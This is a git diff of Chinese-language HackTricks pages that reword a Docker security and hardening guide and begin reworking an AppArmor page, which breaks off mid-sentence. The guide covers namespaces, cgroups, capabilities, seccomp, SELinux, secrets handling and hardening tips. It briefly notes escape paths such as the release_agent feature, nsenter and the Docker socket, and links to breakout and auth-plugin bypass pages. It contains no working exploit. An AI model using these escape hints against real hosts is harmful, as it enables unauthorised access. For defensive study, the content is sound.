![Docker安全](https://sreeninet.files.wordpress.com/2016/03/dockersec1.png)
|
||||
|
||||
### 安全访问Docker引擎
|
||||
|
||||
Docker引擎可以通过Unix套接字本地访问,也可以通过HTTP远程访问。对于远程访问,使用HTTPS和**TLS**是必要的,以确保机密性、完整性和身份验证。
|
||||
Docker引擎可以通过Unix套接字本地访问,也可以通过HTTP远程访问。对于远程访问,必须使用HTTPS和**TLS**来确保机密性、完整性和认证。
|
||||
|
||||
默认情况下,Docker引擎在Unix套接字上侦听`unix:///var/run/docker.sock`。在Ubuntu系统上,Docker的启动选项定义在`/etc/default/docker`中。要启用对Docker API和客户端的远程访问,请通过添加以下设置将Docker守护程序暴露在HTTP套接字上:
|
||||
默认情况下,Docker引擎在Unix套接字上侦听`unix:///var/run/docker.sock`。在Ubuntu系统上,Docker的启动选项定义在`/etc/default/docker`中。要启用对Docker API和客户端的远程访问,请添加以下设置:
|
||||
```bash
|
||||
DOCKER_OPTS="-D -H unix:///var/run/docker.sock -H tcp://192.168.56.101:2376"
|
||||
sudo service docker restart
|
||||
```
|
||||
然而,由于安全顾虑,不建议通过HTTP公开Docker守护程序。建议使用HTTPS来保护连接。有两种主要方法来保护连接:
|
||||
然而,由于安全问题,不建议通过HTTP公开Docker守护程序。建议使用HTTPS来保护连接。保护连接的两种主要方法如下:
|
||||
|
||||
1. 客户端验证服务器的身份。
|
||||
2. 客户端和服务器相互验证彼此的身份。
|
||||
|
@ -48,9 +49,9 @@ sudo service docker restart
|
|||
|
||||
容器镜像可以存储在私有或公共存储库中。Docker为容器镜像提供了几种存储选项:
|
||||
|
||||
* [**Docker Hub**](https://hub.docker.com):Docker提供的一个公共注册服务。
|
||||
* [**Docker Registry**](https://github.com/docker/distribution):一个开源项目,允许用户托管自己的注册表。
|
||||
* [**Docker Trusted Registry**](https://www.docker.com/docker-trusted-registry):Docker的商业注册表产品,具有基于角色的用户身份验证功能,并与LDAP目录服务集成。
|
||||
* [**Docker Hub**](https://hub.docker.com):Docker提供的公共注册服务。
|
||||
* [**Docker Registry**](https://github.com/docker/distribution):允许用户托管自己的注册表的开源项目。
|
||||
* [**Docker Trusted Registry**](https://www.docker.com/docker-trusted-registry):Docker的商业注册服务,具有基于角色的用户身份验证和与LDAP目录服务集成的功能。
|
||||
|
||||
### 镜像扫描
|
||||
|
||||
|
@ -92,11 +93,11 @@ clair-scanner -w example-alpine.yaml --ip YOUR_LOCAL_IP alpine:3.5
|
|||
|
||||
Docker镜像签名确保容器中使用的镜像的安全性和完整性。以下是简要说明:
|
||||
|
||||
- **Docker内容信任**利用基于The Update Framework (TUF)的Notary项目来管理镜像签名。有关更多信息,请参阅[Notary](https://github.com/docker/notary)和[TUF](https://theupdateframework.github.io)。
|
||||
- 要激活Docker内容信任,请设置`export DOCKER_CONTENT_TRUST=1`。此功能在Docker版本1.10及更高版本中默认关闭。
|
||||
- 启用此功能后,只能下载已签名的镜像。初始镜像推送需要为根密钥和标记密钥设置密码,Docker还支持Yubikey以提高安全性。更多详细信息可在[此处](https://blog.docker.com/2015/11/docker-content-trust-yubikey/)找到。
|
||||
- 在启用内容信任的情况下尝试拉取未签名的镜像会导致“最新版本的信任数据不存在”错误。
|
||||
- 对于第一次之后的镜像推送,Docker会要求输入存储库密钥的密码以对镜像进行签名。
|
||||
- **Docker内容信任**利用Notary项目,基于The Update Framework (TUF),来管理镜像签名。有关更多信息,请参阅[Notary](https://github.com/docker/notary)和[TUF](https://theupdateframework.github.io)。
|
||||
- 要激活Docker内容信任,请设置 `export DOCKER_CONTENT_TRUST=1`。此功能在Docker版本1.10及更高版本中默认处于关闭状态。
|
||||
- 启用此功能后,只能下载已签名的镜像。初始镜像推送需要为根密钥和标记密钥设置密码,Docker还支持Yubikey以提高安全性。更多详细信息可以在[这里](https://blog.docker.com/2015/11/docker-content-trust-yubikey/)找到。
|
||||
- 在启用内容信任的情况下尝试拉取未签名的镜像会导致“最新版本无信任数据”错误。
|
||||
- 对于第一次之后的镜像推送,Docker会要求输入存储库密钥的密码以签署镜像。
|
||||
|
||||
要备份您的私钥,请使用以下命令:
|
||||
```bash
|
||||
|
@ -109,7 +110,7 @@ tar -zcvf private_keys_backup.tar.gz ~/.docker/trust/private
|
|||
<figure><img src="../../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
使用 [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=docker-security) 可以轻松构建和**自动化工作流程**,利用世界上**最先进**的社区工具。\
|
||||
使用[**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=docker-security) 可以轻松构建和**自动化工作流程**,利用世界上**最先进**的社区工具。\
|
||||
立即获取访问权限:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=docker-security" %}
|
||||
|
@ -126,16 +127,16 @@ tar -zcvf private_keys_backup.tar.gz ~/.docker/trust/private
|
|||
|
||||
**命名空间**
|
||||
|
||||
* **目的**:确保像进程、网络和文件系统等资源的隔离。特别是在Docker中,命名空间将容器的进程与主机和其他容器分开。
|
||||
* **使用`unshare`**:使用`unshare`命令(或底层系统调用)来创建新的命名空间,提供了额外的隔离层。然而,尽管Kubernetes本身不会阻止这一点,但Docker会。
|
||||
* **限制**:创建新的命名空间不允许进程恢复到主机的默认命名空间。要渗透主机命名空间,通常需要访问主机的`/proc`目录,并使用`nsenter`进行进入。
|
||||
* **目的**:确保资源(如进程、网络和文件系统)的隔离。特别是在Docker中,命名空间将容器的进程与主机和其他容器分开。
|
||||
* **使用`unshare`**:使用`unshare`命令(或底层系统调用)来创建新的命名空间,提供额外的隔离层。然而,尽管Kubernetes本身不会阻止此操作,但Docker会。
|
||||
* **限制**:创建新的命名空间不允许进程恢复到主机的默认命名空间。要穿透主机命名空间,通常需要访问主机的`/proc`目录,并使用`nsenter`进行进入。
|
||||
|
||||
**控制组(CGroups)**
|
||||
|
||||
* **功能**:主要用于在进程之间分配资源。
|
||||
* **安全方面**:CGroups本身并不提供隔离安全性,除了`release_agent`功能,如果配置不当,可能会被利用以获取未经授权的访问权限。
|
||||
* **安全方面**:CGroups本身并不提供隔离安全性,除了`release_agent`功能,如果配置错误,可能会被利用以获取未经授权的访问权限。
|
||||
|
||||
**能力降级**
|
||||
**能力降权**
|
||||
|
||||
* **重要性**:这是进程隔离的关键安全功能。
|
||||
* **功能**:通过放弃某些能力,限制根进程可以执行的操作。即使进程以root权限运行,缺乏必要的能力也会阻止其执行特权操作,因为由于权限不足,系统调用将失败。
|
||||
|
@ -163,7 +164,7 @@ Docker有一个可以激活的模板:[https://github.com/moby/moby/tree/master
|
|||
|
||||
### 命名空间
|
||||
|
||||
**命名空间**是Linux内核的一个特性,**将内核资源分区**,使得一组**进程**看到一组**资源**,而**另一组**进程看到**不同**的资源。该特性通过为一组资源和进程使用相同的命名空间,但这些命名空间指向不同的资源来实现。资源可能存在于多个空间中。
|
||||
**命名空间**是Linux内核的一个特性,**将内核资源分区**,使得一组**进程**看到一组**资源**,而**另一组**进程看到**不同**的资源。该特性通过为一组资源和进程使用相同的命名空间,但这些命名空间指向不同的资源来实现。资源可以存在于多个空间中。
|
||||
|
||||
Docker利用以下Linux内核命名空间来实现容器隔离:
|
||||
|
||||
|
@ -181,12 +182,12 @@ Docker利用以下Linux内核命名空间来实现容器隔离:
|
|||
|
||||
### cgroups
|
||||
|
||||
Linux内核功能**cgroups**提供了限制资源(如CPU、内存、IO、网络带宽等)在一组进程中的能力。Docker允许使用cgroup功能创建容器,从而允许为特定容器进行资源控制。\
|
||||
以下是一个创建的容器,其中用户空间内存限制为500m,内核内存限制为50m,CPU份额为512,blkioweight为400。 CPU份额是控制容器CPU使用率的比率。它的默认值为1024,范围在0和1024之间。如果三个容器具有相同的CPU份额1024,则在CPU资源争用的情况下,每个容器最多可以占用33%的CPU。blkio-weight是控制容器IO的比率。它的默认值为500,范围在10和1000之间。
|
||||
Linux内核功能**cgroups**提供了限制资源(如CPU、内存、IO、网络带宽等)在一组进程中的能力。Docker允许使用cgroup功能创建容器,从而实现对特定容器的资源控制。\
|
||||
以下是一个使用用户空间内存限制为500m、内核内存限制为50m、CPU份额为512、blkioweight为400创建的容器。CPU份额是控制容器CPU使用率的比率。它的默认值为1024,范围在0到1024之间。如果三个容器的CPU份额相同为1024,则在CPU资源争用的情况下,每个容器最多可以占用33%的CPU。blkio-weight是控制容器IO的比率。它的默认值为500,范围在10到1000之间。
|
||||
```
|
||||
docker run -it -m 500M --kernel-memory 50M --cpu-shares 512 --blkio-weight 400 --name ubuntu1 ubuntu bash
|
||||
```
|
||||
要获取容器的 cgroup,您可以执行:
|
||||
要获取容器的 cgroup,可以执行以下操作:
|
||||
```bash
|
||||
docker run -dt --rm denial sleep 1234 #Run a large sleep inside a Debian container
|
||||
ps -ef | grep 1234 #Get info about the sleep process
|
||||
|
@ -194,46 +195,56 @@ ls -l /proc/<PID>/ns #Get the Group and the namespaces (some may be uniq to the
|
|||
```
|
||||
### 权限
|
||||
|
||||
权限允许对根用户允许的权限进行更精细的控制。Docker使用Linux内核功能来限制容器内可以执行的操作,无论用户类型如何。
|
||||
权限允许对root用户可以允许的权限进行更精细的控制。Docker使用Linux内核的权限功能来限制容器内可以执行的操作,无论用户类型如何。
|
||||
|
||||
当运行Docker容器时,进程会放弃敏感权限,这些权限可能被进程用来逃离隔离。这样可以确保进程无法执行敏感操作并逃离:
|
||||
当运行docker容器时,进程会放弃敏感权限,这些权限可以用来逃离隔离。这样可以确保进程无法执行敏感操作并逃脱:
|
||||
|
||||
{% content-ref url="../linux-capabilities.md" %}
|
||||
[linux-capabilities.md](../linux-capabilities.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### Docker中的Seccomp
|
||||
|
||||
这是一个安全功能,允许Docker限制容器内可以使用的系统调用:
|
||||
|
||||
{% content-ref url="seccomp.md" %}
|
||||
[seccomp.md](seccomp.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### Docker中的AppArmor
|
||||
|
||||
AppArmor是一个内核增强功能,用于将容器限制在一组有限的资源和每个程序的配置文件中。
|
||||
|
||||
{% content-ref url="apparmor.md" %}
|
||||
[apparmor.md](apparmor.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### Docker中的SELinux
|
||||
|
||||
* **标签系统**:SELinux为每个进程和文件系统对象分配唯一标签。
|
||||
* **策略执行**:它执行定义进程标签在系统中对其他标签执行的操作的安全策略。
|
||||
* **标签系统**:SELinux为每个进程和文件系统对象分配一个唯一标签。
|
||||
* **策略执行**:它执行定义了进程标签在系统中可以对其他标签执行什么操作的安全策略。
|
||||
* **容器进程标签**:当容器引擎启动容器进程时,它们通常被分配一个受限SELinux标签,通常是`container_t`。
|
||||
* **容器内的文件标签**:容器内的文件通常被标记为`container_file_t`。
|
||||
* **策略规则**:SELinux策略主要确保具有`container_t`标签的进程只能与标记为`container_file_t`的文件交互(读取、写入、执行)。
|
||||
|
||||
这种机制确保即使容器内的进程受到损害,也仅限于与具有相应标签的对象交互,从而显着限制了此类妥协可能造成的潜在损害。
|
||||
这种机制确保即使容器内的进程受到损害,也仅限于与具有相应标签的对象交互,从而显著限制了此类妥协可能造成的潜在损害。
|
||||
|
||||
{% content-ref url="../selinux.md" %}
|
||||
[selinux.md](../selinux.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### AuthZ和AuthN
|
||||
### 认证和授权
|
||||
|
||||
在Docker中,授权插件通过决定是否允许或阻止对Docker守护程序的请求发挥关键作用。这一决定是通过检查两个关键上下文来做出的:
|
||||
在Docker中,授权插件通过决定是否允许或阻止对Docker守护程序的请求发挥着关键作用。这一决定是通过检查两个关键上下文来做出的:
|
||||
|
||||
* **认证上下文**:包括有关用户的全面信息,例如他们是谁以及他们如何进行身份验证。
|
||||
* **命令上下文**:包括与正在进行的请求相关的所有相关数据。
|
||||
|
||||
这些上下文有助于确保只有经过身份验证的用户的合法请求得到处理,增强了Docker操作的安全性。
|
||||
这些上下文有助于确保只有经过身份验证的用户的合法请求才会被处理,增强Docker操作的安全性。
|
||||
|
||||
{% content-ref url="authz-and-authn-docker-access-authorization-plugin.md" %}
|
||||
[authz-and-authn-docker-access-authorization-plugin.md](authz-and-authn-docker-access-authorization-plugin.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## 容器中的DoS
|
||||
|
||||
|
@ -292,23 +303,23 @@ docker run -it --security-opt=no-new-privileges:true nonewpriv
|
|||
|
||||
### 管理机密信息:最佳实践
|
||||
|
||||
避免直接嵌入Docker镜像或使用环境变量存储机密信息至关重要,因为这些方法会使您的敏感信息暴露给通过诸如`docker inspect`或`exec`命令访问容器的任何人。
|
||||
避免直接将机密信息嵌入Docker镜像或使用环境变量至关重要,因为这些方法会使您的敏感信息暴露给通过诸如`docker inspect`或`exec`命令访问容器的任何人。
|
||||
|
||||
**Docker卷**是一个更安全的替代方案,建议用于访问敏感信息。它们可以被用作内存中的临时文件系统,减轻了与`docker inspect`和日志记录相关的风险。但是,root用户和具有对容器的`exec`访问权限的用户仍然可以访问这些机密信息。
|
||||
**Docker卷**是一个更安全的替代方案,建议用于访问敏感信息。它们可以被用作内存中的临时文件系统,减轻了与`docker inspect`和日志记录相关的风险。然而,root用户和那些具有对容器的`exec`访问权限的用户仍然可以访问这些机密信息。
|
||||
|
||||
**Docker机密**提供了一种更安全的处理敏感信息的方法。对于在镜像构建阶段需要机密信息的情况,**BuildKit**提供了一种高效的解决方案,支持构建时机密信息,提高构建速度并提供额外功能。
|
||||
**Docker机密**提供了一种更安全的处理敏感信息的方法。对于在镜像构建阶段需要机密信息的情况,**BuildKit**提供了一个高效的解决方案,支持构建时机密信息,提高构建速度并提供额外功能。
|
||||
|
||||
要利用BuildKit,可以通过以下三种方式激活它:
|
||||
|
||||
1. 通过环境变量:`export DOCKER_BUILDKIT=1`
|
||||
2. 通过添加前缀的命令:`DOCKER_BUILDKIT=1 docker build .`
|
||||
2. 通过命令前缀:`DOCKER_BUILDKIT=1 docker build .`
|
||||
3. 通过在Docker配置中默认启用它:`{ "features": { "buildkit": true } }`,然后重新启动Docker。
|
||||
|
||||
BuildKit允许使用`--secret`选项处理构建时机密信息,确保这些机密信息不包含在镜像构建缓存或最终镜像中,使用类似以下命令:
|
||||
BuildKit允许使用`--secret`选项使用构建时机密信息,确保这些机密信息不包含在镜像构建缓存或最终镜像中,使用类似以下命令:
|
||||
```bash
|
||||
docker build --secret my_key=my_value ,src=path/to/my_secret_file .
|
||||
```
|
||||
对于运行中容器中需要的机密信息,**Docker Compose 和 Kubernetes** 提供了强大的解决方案。Docker Compose 利用服务定义中的 `secrets` 键来指定机密文件,如在 `docker-compose.yml` 示例中所示:
|
||||
对于运行容器中需要的机密信息,**Docker Compose 和 Kubernetes** 提供了强大的解决方案。Docker Compose 利用服务定义中的 `secrets` 键来指定机密文件,如在 `docker-compose.yml` 示例中所示:
|
||||
```yaml
|
||||
version: "3.7"
|
||||
services:
|
||||
|
@ -323,40 +334,40 @@ file: ./my_secret_file.txt
|
|||
```
|
||||
这个配置允许在使用Docker Compose启动服务时使用secrets。
|
||||
|
||||
在Kubernetes环境中,secrets得到原生支持,并可以通过像[Helm-Secrets](https://github.com/futuresimple/helm-secrets)这样的工具进一步管理。Kubernetes的基于角色的访问控制(RBAC)增强了秘钥管理安全性,类似于Docker Enterprise。
|
||||
在Kubernetes环境中,secrets得到原生支持,并可通过诸如[Helm-Secrets](https://github.com/futuresimple/helm-secrets)等工具进一步管理。Kubernetes的基于角色的访问控制(RBAC)增强了秘钥管理安全性,类似于Docker Enterprise。
|
||||
|
||||
### gVisor
|
||||
|
||||
**gVisor**是一个用Go语言编写的应用内核,实现了Linux系统表面的大部分功能。它包括一个名为`runsc`的[Open Container Initiative (OCI)](https://www.opencontainers.org)运行时,提供了应用程序和主机内核之间的**隔离边界**。`runsc`运行时与Docker和Kubernetes集成,使得运行沙盒容器变得简单。
|
||||
**gVisor**是一个用Go编写的应用内核,实现了Linux系统表面的大部分功能。它包括一个名为`runsc`的[Open Container Initiative (OCI)](https://www.opencontainers.org)运行时,提供了应用程序和主机内核之间的**隔离边界**。`runsc`运行时与Docker和Kubernetes集成,使得运行沙盒容器变得简单。
|
||||
|
||||
{% embed url="https://github.com/google/gvisor" %}
|
||||
|
||||
### Kata Containers
|
||||
|
||||
**Kata Containers**是一个开源社区,致力于构建一个安全的容器运行时,使用轻量级虚拟机,感觉和表现像容器,但通过硬件虚拟化技术提供**更强大的工作负载隔离**作为第二层防御。
|
||||
**Kata Containers**是一个开源社区,致力于构建一个安全的容器运行时,使用轻量级虚拟机,感觉和表现类似于容器,但通过硬件虚拟化技术作为第二层防御提供**更强大的工作负载隔离**。
|
||||
|
||||
{% embed url="https://katacontainers.io/" %}
|
||||
|
||||
### 总结提示
|
||||
|
||||
* **不要使用`--privileged`标志或在容器内挂载** [**Docker套接字**](https://raesene.github.io/blog/2016/03/06/The-Dangers-Of-Docker.sock/)**。** Docker套接字允许生成容器,因此通过使用`--privileged`标志运行另一个容器是获取主机完全控制的简单方法。
|
||||
* **不要在容器内以root身份运行。使用** [**不同的用户**](https://docs.docker.com/develop/develop-images/dockerfile\_best-practices/#user) **和** [**用户命名空间**](https://docs.docker.com/engine/security/userns-remap/)**。** 容器内的root与主机上的root相同,除非使用用户命名空间重新映射。它仅受到Linux命名空间、功能和cgroups的轻微限制。
|
||||
* **不要在容器内以root身份运行。使用** [**不同的用户**](https://docs.docker.com/develop/develop-images/dockerfile\_best-practices/#user) **和** [**用户命名空间**](https://docs.docker.com/engine/security/userns-remap/)**。** 容器中的root与主机上的root相同,除非使用用户命名空间重新映射。它仅受到Linux命名空间、功能和cgroups的轻微限制。
|
||||
* [**放弃所有功能**](https://docs.docker.com/engine/reference/run/#runtime-privilege-and-linux-capabilities) **(`--cap-drop=all`),仅启用所需功能** (`--cap-add=...`)。许多工作负载不需要任何功能,添加功能会增加潜在攻击的范围。
|
||||
* [**使用“no-new-privileges”安全选项**](https://raesene.github.io/blog/2019/06/01/docker-capabilities-and-no-new-privs/) **防止进程获取更多权限,例如通过suid二进制文件。**
|
||||
* [**限制容器可用的资源**](https://docs.docker.com/engine/reference/run/#runtime-constraints-on-resources)**。** 资源限制可以保护机器免受拒绝服务攻击。
|
||||
* **调整** [**seccomp**](https://docs.docker.com/engine/security/seccomp/)**,** [**AppArmor**](https://docs.docker.com/engine/security/apparmor/) **(或SELinux)**配置文件,将容器可用的操作和系统调用限制为最低要求。
|
||||
* **使用** [**官方Docker镜像**](https://docs.docker.com/docker-hub/official\_images/) **并要求签名**,或者基于它们构建自己的镜像。不要继承或使用[后门](https://arstechnica.com/information-technology/2018/06/backdoored-images-downloaded-5-million-times-finally-removed-from-docker-hub/)镜像。还要将根密钥、密码存储在安全的位置。Docker计划使用UCP管理密钥。
|
||||
* **定期** **重建**您的镜像以**应用安全补丁到主机和镜像。**
|
||||
* 明智地管理您的**秘密**,使攻击者难以访问它们。
|
||||
* **调整** [**seccomp**](https://docs.docker.com/engine/security/seccomp/)**,** [**AppArmor**](https://docs.docker.com/engine/security/apparmor/) **(或SELinux)**配置文件,将容器可用的操作和系统调用限制为最低所需。
|
||||
* **使用** [**官方Docker镜像**](https://docs.docker.com/docker-hub/official\_images/) **并要求签名**,或者基于它们构建自己的镜像。不要继承或使用[后门](https://arstechnica.com/information-technology/2018/06/backdoored-images-downloaded-5-million-times-finally-removed-from-docker-hub/)镜像。还要将根密钥、密码存储在安全位置。Docker计划使用UCP管理密钥。
|
||||
* **定期** **重建**您的镜像以**应用安全补丁到主机和镜像**。
|
||||
* 明智地管理您的**secrets**,使攻击者难以访问它们。
|
||||
* 如果**暴露Docker守护程序,请使用HTTPS**进行客户端和服务器身份验证。
|
||||
* 在Dockerfile中,**优先使用COPY而不是ADD**。ADD会自动解压缩文件并可以从URL复制文件。COPY不具备这些功能。尽量避免使用ADD,以免通过远程URL和Zip文件遭受攻击。
|
||||
* 为每个微服务**使用单独的容器**
|
||||
* **不要在容器内放置ssh**,“docker exec”可用于ssh到容器。
|
||||
* 使用**更小**的容器**镜像**
|
||||
* 使用**更小的**容器**镜像**
|
||||
|
||||
## Docker越狱/权限提升
|
||||
|
||||
如果您**在Docker容器内**或者您可以访问**docker组中的用户**,您可以尝试**逃逸和提升权限**:
|
||||
如果您**在Docker容器内**或者拥有**docker组中用户的访问权限**,您可以尝试**越狱和提升权限**:
|
||||
|
||||
{% content-ref url="docker-breakout-privilege-escalation/" %}
|
||||
[docker-breakout-privilege-escalation](docker-breakout-privilege-escalation/)
|
||||
|
@ -364,15 +375,15 @@ file: ./my_secret_file.txt
|
|||
|
||||
## Docker身份验证插件绕过
|
||||
|
||||
如果您可以访问docker套接字或者可以访问**docker组中的用户,但您的操作受到docker身份验证插件的限制**,请检查是否可以**绕过它:**
|
||||
如果您可以访问docker套接字或者拥有**docker组中用户的访问权限,但您的操作受到docker身份验证插件的限制**,请检查是否可以**绕过它**:
|
||||
|
||||
{% content-ref url="authz-and-authn-docker-access-authorization-plugin.md" %}
|
||||
[authz-and-authn-docker-access-authorization-plugin.md](authz-and-authn-docker-access-authorization-plugin.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## 加固Docker
|
||||
## 强化Docker
|
||||
|
||||
* 工具[**docker-bench-security**](https://github.com/docker/docker-bench-security)是一个脚本,检查在生产环境中部署Docker容器周围的几十个常见最佳实践。这些测试都是自动化的,基于[CIS Docker Benchmark v1.3.1](https://www.cisecurity.org/benchmark/docker/)。\
|
||||
* 工具[**docker-bench-security**](https://github.com/docker/docker-bench-security)是一个脚本,检查在生产环境中部署Docker容器时的数十个常见最佳实践。这些测试都是自动化的,基于[CIS Docker Benchmark v1.3.1](https://www.cisecurity.org/benchmark/docker/)。\
|
||||
您需要从运行docker的主机或具有足够权限的容器中运行该工具。了解如何在README中运行它:[**https://github.com/docker/docker-bench-security**](https://github.com/docker/docker-bench-security)。
|
||||
|
||||
## 参考资料
|
||||
|
@ -399,13 +410,17 @@ file: ./my_secret_file.txt
|
|||
|
||||
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=docker-security" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
学习和实践AWS黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习和实践GCP黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
支持HackTricks的其他方式:
|
||||
* 如果您想看到您的**公司在HackTricks中被广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上**关注**我们 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
* 检查 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* 通过向 [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,26 +1,27 @@
|
|||
# AppArmor
|
||||
|
||||
{% hint style="success" %}
|
||||
学习并练习AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习并练习GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
* 检查[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注**我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* 通过向 [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io)是一个由**暗网**支持的搜索引擎,提供**免费**功能,用于检查公司或其客户是否受到**窃取恶意软件**的**侵害**。
|
||||
[**WhiteIntel**](https://whiteintel.io) 是一个由**暗网**支持的搜索引擎,提供免费功能,用于检查公司或其客户是否已受到**窃取恶意软件**的**损害**。
|
||||
|
||||
WhiteIntel的主要目标是打击由窃取信息恶意软件导致的账户劫持和勒索软件攻击。
|
||||
WhiteIntel 的主要目标是打击由信息窃取恶意软件导致的账户劫持和勒索软件攻击。
|
||||
|
||||
您可以访问他们的网站并免费尝试他们的引擎:
|
||||
|
||||
|
@ -30,26 +31,26 @@ WhiteIntel的主要目标是打击由窃取信息恶意软件导致的账户劫
|
|||
|
||||
## 基本信息
|
||||
|
||||
AppArmor是一个**内核增强程序,旨在通过每个程序的配置文件限制程序可用的资源**,有效地实现强制访问控制(MAC),通过直接将访问控制属性与程序而不是用户绑定。该系统通过**在内核中加载配置文件**来运行,通常在启动时加载,这些配置文件指定程序可以访问的资源,例如网络连接、原始套接字访问和文件权限。
|
||||
AppArmor 是一个**内核增强程序,旨在通过每个程序的配置文件限制程序可用的资源**,有效地实现强制访问控制(MAC),将访问控制属性直接绑定到程序而不是用户。该系统通过**将配置文件加载到内核中**来运行,通常在启动时进行,这些配置文件规定了程序可以访问的资源,例如网络连接、原始套接字访问和文件权限。
|
||||
|
||||
AppArmor配置文件有两种操作模式:
|
||||
AppArmor 配置文件有两种操作模式:
|
||||
|
||||
* **强制模式**:该模式积极执行配置文件中定义的策略,阻止违反这些策略的操作,并通过诸如syslog或auditd等系统记录任何试图违反这些策略的尝试。
|
||||
* **强制模式**:该模式积极执行配置文件中定义的策略,阻止违反这些策略的操作,并通过诸如 syslog 或 auditd 等系统记录任何试图违反这些策略的尝试。
|
||||
* **投诉模式**:与强制模式不同,投诉模式不会阻止违反配置文件策略的操作。相反,它将这些尝试记录为策略违规,而不强制执行限制。
|
||||
|
||||
### AppArmor的组成部分
|
||||
### AppArmor 的组成部分
|
||||
|
||||
* **内核模块**:负责执行策略。
|
||||
* **策略**:指定程序行为和资源访问的规则和限制。
|
||||
* **解析器**:将策略加载到内核以执行或报告。
|
||||
* **实用程序**:这些是用户模式程序,提供与AppArmor交互和管理的接口。
|
||||
* **实用程序**:这些是用户模式程序,提供与 AppArmor 交互和管理的接口。
|
||||
|
||||
### 配置文件路径
|
||||
|
||||
AppArmor配置文件通常保存在_**/etc/apparmor.d/**_中\
|
||||
使用`sudo aa-status`命令,您将能够列出受某个配置文件限制的二进制文件。如果您可以将每个列出的二进制文件的路径中的斜杠“/”更改为点,您将获得所提到文件夹中AppArmor配置文件的名称。
|
||||
